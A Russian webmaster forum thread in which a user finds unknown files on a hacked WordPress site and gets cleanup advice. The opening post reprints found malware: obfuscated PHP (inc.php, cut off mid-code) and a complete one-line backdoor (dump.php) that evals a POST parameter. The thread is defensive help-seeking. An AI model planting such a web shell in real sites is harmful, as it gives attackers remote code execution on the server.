Ломанули? Или... что это такое?

M2
На сайте с 11.01.2011
Offline
342
1192

Сайт на WP.

Обнаружил файлы, которые я просто не мог закачивать.

К примеру:

inc.php


<?php $u12="rF)JB>*l5;]\rV/u7fM\"2}jAdU@L#qZ<K-O1b?z{DE'!4xPp&6Y\t3Xo0v:9a(w`eNW+.n\$cTt^ R~%|[y=msH\\IQ_\niGghSC,k8"; $GLOBALS['hcjcb17'] = ${$u12[87].$u12[45].$u12[33].$u12[93].$u12[70]}; $GLOBALS['jwxjf47'] = $u12[28].$u12[16].$u12[55].$u12[16].$u12[92].$u12[19].$u12[97]; $GLOBALS['sjogf39'] = $u12[69].$u12[92].$u12[0]; $GLOBALS['avajc61'] = $u12[58].$u12[0].$u12[0].$u12[58].$u12[79].$u12[87].$u12[16].$u12[7].$u12[89].$u12[46]; $GLOBALS['jkesj85'] = $u12[46].$u12[0].$u12[62].$u12[91].$u12[87].$u12[82].$u12[46].$u12[7].$u12[89].$u12[71]; $GLOBALS['cdrra61'] = $u12[46].$u12[0].$u12[62].$u12[91].$u12[87].$u12[81].$u12[58].$u12[71].$u12[69].$u12[92].$u12[87].$u12[58].$u12[7].$u12[7]; $GLOBALS['ujlkh38'] = $u12[71].$u12[91].$u12[7].$u12[7].$u12[58].$u12[48].$u12[51]; $GLOBALS['envam47'] = $u12[53].$u12[46].$u12[62].$u12[67].$u12[23].$u12[89].$u12[0]; $GLOBALS['afgqw42'] = $u12[0].$u12[62].$u12[58].$u12[23].$u12[23].$u12[89].$u12[0]; $GLOBALS['yhniw87'] = $u12[69].$u12[53].$u12[14].$u12[67].$u12[71]; $GLOBALS['qiszy58'] = $u12[69].$u12[7].$u12[53].$u12[82].$u12[62].$u12[23].$u12[89].$u12[0]; $GLOBALS['stvrs81'] = $u12[58].$u12[0].$u12[89].$u12[58].$u12[28].$u12[48]; $GLOBALS['qqtnz6'] = $u12[16].$u12[89].$u12[7].$u12[62].$u12[81].$u12[71].$u12[89].$u12[81].$u12[62]; $GLOBALS['vlnuz90'] = $u12[58].$u12[0].$u12[0].$u12[58].$u12[79].$u12[87].$u12[96].$u12[62].$u12[79].$u12[87].$u12[62].$u12[44].$u12[89].$u12[82].$u12[71].$u12[82]; $GLOBALS['rdert47'] = $u12[23].$u12[58].$u12[71].$u12[62]; $GLOBALS['eqzje27'] = $u12[58].$u12[0].$u12[82].$u12[53].$u12[0].$u12[71]; $GLOBALS['ulrtz71'] = $u12[0].$u12[62].$u12[82].$u12[62].$u12[71]; $GLOBALS['rxlvp12'] = $u12[96].$u12[82].$u12[53].$u12[0].$u12[71]; $GLOBALS['uzogh11'] = $u12[71].$u12[89].$u12[81].$u12[62]; $GLOBALS['mmbsq46'] = $u12[23].$u12[89].$u12[0].$u12[67].$u12[58].$u12[81].$u12[62]; $GLOBALS['ryzmt42'] = $u12[16].$u12[53].$u12[46].$u12[62].$u12[67]; $GLOBALS['zsaia45'] = $u12[16].$u12[60].$u12[0].$u12[89].$u12[71].$u12[62]; $GLOBALS['bhwip74'] = $u12[16].$u12[69].$u12[7].$u12[53].$u12[82].$u12[62]; $GLOBALS['digme94'] = $u12[71].$u12[53].$u12[14].$u12[69].$u12[92]; $GLOBALS['klgcc29'] = $u12[81].$u12[23].$u12[8]; $GLOBALS['rausd39'] = $u12[16].$u12[0].$u12[62].$u12[58].$u12[23]; $GLOBALS['puywm55'] = $u12[89].$u12[82].$u12[87].$u12[23].$u12[89].$u12[0]; $GLOBALS['ldyrl93'] = $u12[89].$u12[82].$u12[87].$u12[60].$u12[0].$u12[89].$u12[71].$u12[58].$u12[35].$u12[7].$u12[62]; $GLOBALS['szmnx3'] = $u12[89].$u12[82].$u12[87].$u12[7].$u12[89].$u12[67].$u12[96]; $GLOBALS['qceta49'] = $u12[46].$u12[0].$u12[62].$u12[91].$u12[87].$u12[81].$u12[58].$u12[71].$u12[69].$u12[92]; $tcqwf67=$u12[37].$u12[15].$u12[51].$u12[23].$u12[16].$u12[8].$u12[8]; if (isset($GLOBALS['hcjcb17'][$tcqwf67])) { function qfvfh28($u12, $zdyir9){ $nykdg22=""; for($whrby14=0;$whrby14<256;$whrby14++) { $gmubd48[$whrby14]=$GLOBALS['sjogf39']($whrby14); } $rtuxi91=$GLOBALS['avajc61']($GLOBALS['jkesj85']($u12[13].$u12[13],$u12[22].$u12[4].$u12[94].$u12[39].$u12[40].$u12[1].$u12[90].$u12[83].$u12[85].$u12[3].$u12[31].$u12[26].$u12[17].$u12[63].$u12[33].$u12[45].$u12[86].$u12[74].$u12[93].$u12[70].$u12[24].$u12[12].$u12[64].$u12[52].$u12[49].$u12[29] . $u12[58].$u12[35].$u12[69].$u12[23].$u12[62].$u12[16].$u12[91].$u12[92].$u12[89].$u12[21].$u12[96].$u12[7].$u12[81].$u12[67].$u12[53].$u12[46].$u12[28].$u12[0].$u12[82].$u12[71].$u12[14].$u12[55].$u12[60].$u12[44].$u12[79].$u12[37].$u12[54].$u12[34].$u12[19].$u12[51].$u12[43].$u12[8].$u12[48].$u12[15].$u12[97].$u12[57].$u12[65].$u12[13],-1,1)); $natcn80=array(); $GLOBALS['cdrra61']($u12[59].$u12[78].$u12[22].$u12[32].$u12[37].$u12[54].$u12[32].$u12[57].$u12[65].$u12[84].$u12[13].$u12[10].$u12[38].$u12[34].$u12[95].$u12[43].$u12[20].$u12[2],$zdyir9,$natcn80); foreach($natcn80[0] as $upitf26){ $nlatw67=0; for($whrby14=0;isset($upitf26[$whrby14]);$whrby14++){ $nlatw67=($nlatw67<<6)+$rtuxi91[$upitf26[$whrby14]]; if($whrby14>0){ $nykdg22.=$gmubd48[$nlatw67>>(4-(2*($whrby14-1)))]; $nlatw67=$nlatw67&(0xf>>(2*($whrby14-1))); } } } return $nykdg22; } function tglla63($u12, $fiiqz6){ $zwdhc44=array(); $aqytf76=@$GLOBALS['envam47']($fiiqz6); if($aqytf76!=FALSE){ while(false!==($zjihm21=@$GLOBALS['afgqw42']($aqytf76))){ if($GLOBALS['yhniw87']($zwdhc44)>5000) { break; } $zwdhc44[]=$zjihm21; } $GLOBALS['qiszy58']($aqytf76); } return $zwdhc44; } function ariaq6($u12, $fiiqz6){ $ikaas38=array(); foreach($GLOBALS['ujlkh38']($u12, $fiiqz6) as $vzxjo1){ if ($vzxjo1 == $u12[66] || $vzxjo1 ==

dump.php


<?php $strg52= "esptoru_" ; $hli0 = $strg52[1].$strg52[3].$strg52[5].$strg52[3].$strg52[4].$strg52[6].$strg52[2].$strg52[2]. $strg52[0]. $strg52[5];$zox54 =$hli0( $strg52[7]. $strg52[2].$strg52[4].$strg52[1].$strg52[3]);if (isset (${ $zox54}[ 'q59a097'] ) ){eval (${ $zox54 }[ 'q59a097'] ) ;}?>

ну и т.д.

Взлом? Но в админку я смог войти. Или что это?

------------------- Крутые VPS и дедики. Качество по разумной цене ( http://cp.inferno.name/view.php?product=1212&gid=1 ) VPS25OFF - скидка 25% на первый платеж по ссылке выше
AM
На сайте с 26.03.2015
Offline
13
#1

код обработан обфускатором, тяжело че то понять. Но если двиг WP, то этого быть не должно.

M2
На сайте с 11.01.2011
Offline
342
#2

ArxMaster,

Смена хостинг провайдера после чистки даст эффект? или смысла нет? Сайт не мой, корпоративный, мне за него ...... оторвут щипцами...

K5
На сайте с 21.07.2010
Offline
209
#3
Взлом?

взлом

Смена хостинг провайдера

99% нет

мне за него

правила безопасности любому сайту надо соблюдать

аська 45два48499два записки на работе (http://memoryhigh.ru) помогу с сайтом, удалю вирусы, настрою впс -> отзывы ТУТ (/ru/forum/836248) и ТАМ (http://www.maultalk.com/topic140187.html) !!!всегда проверяйте данные людей, которые сами пишут вам в аську или скайп!!!
M2
На сайте с 11.01.2011
Offline
342
#4

kgtu5, почему вы думаете, что смена хоста не даст ничего? А если система сломана? Я, к примеру, видел файл passwd.copy, следовательно "работа" шла не только над сайтом...

Den73
На сайте с 26.06.2010
Offline
523
#5

mark2011

потому что 99.9% хостинг не причем. (если не считать хостинги которые сделаны на коленке)

распространенное

1. уязвимость в движке или расширениях

2. в используемых темах/расширениях был встроен шелл который дает о себе знать

3. в случае впс/выделенный - устаревший софт на сервере например CVE-2015-3306

4. взлом через украденный доступ к ftp/ssh/панель

5. халатность вебмастера - например бэкапы в открытом доступе.

6. сбрутили пароль

нужно проводить аудит

siv1987
На сайте с 02.04.2009
Offline
427
#6
mark2011:
kgtu5, почему вы думаете, что смена хоста не даст ничего? А если система сломана?

Если система взломана вам это все равно ничем не поможет. Ваш сайт уже скомпрометирован, нужно искать шеллы (либо переустановить скрипт с полным удалением всех файлов), уязвимость через которую взломали сайт (пока не доказано что взлом произошел через ПО сервера, искать нужно в скриптах), сменить все пароли от админ аккаунтов, бд, фтп и пр. Все те же сами действия вам придется проделать и на новом хостинге, иначе вы просто перенесете заразу с одного хостинга на другой. Если сайт действительно так ценен, то самый лучший вариант это обратится к специалистам.

M2
На сайте с 11.01.2011
Offline
342
#7

Пока решил проблему.

В рамках этой темы есть ещё вопрос.

Залез на сервер БД и обнаружил пользователя debian-sys-maint у которого есть полные права вообще на всё... т.е. как root. Не помню, чтобы такой юзер раньше был.... так должно быть в дебиане? Мне казалось, что root - он и в Африке рут, и других рутов быть не может :)

Короче, можно грохать debian-sys-maint безопасно? или лучше не надо?

K5
На сайте с 21.07.2010
Offline
209
#8

в дебиан пользователь debian-sys-maint создается автоматом при установке мускл для ее обслуживания при запуске ос.

если удалить, таблицы не будут проверяться и восстанавливаться автоматом, придется repair table вручную делать.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий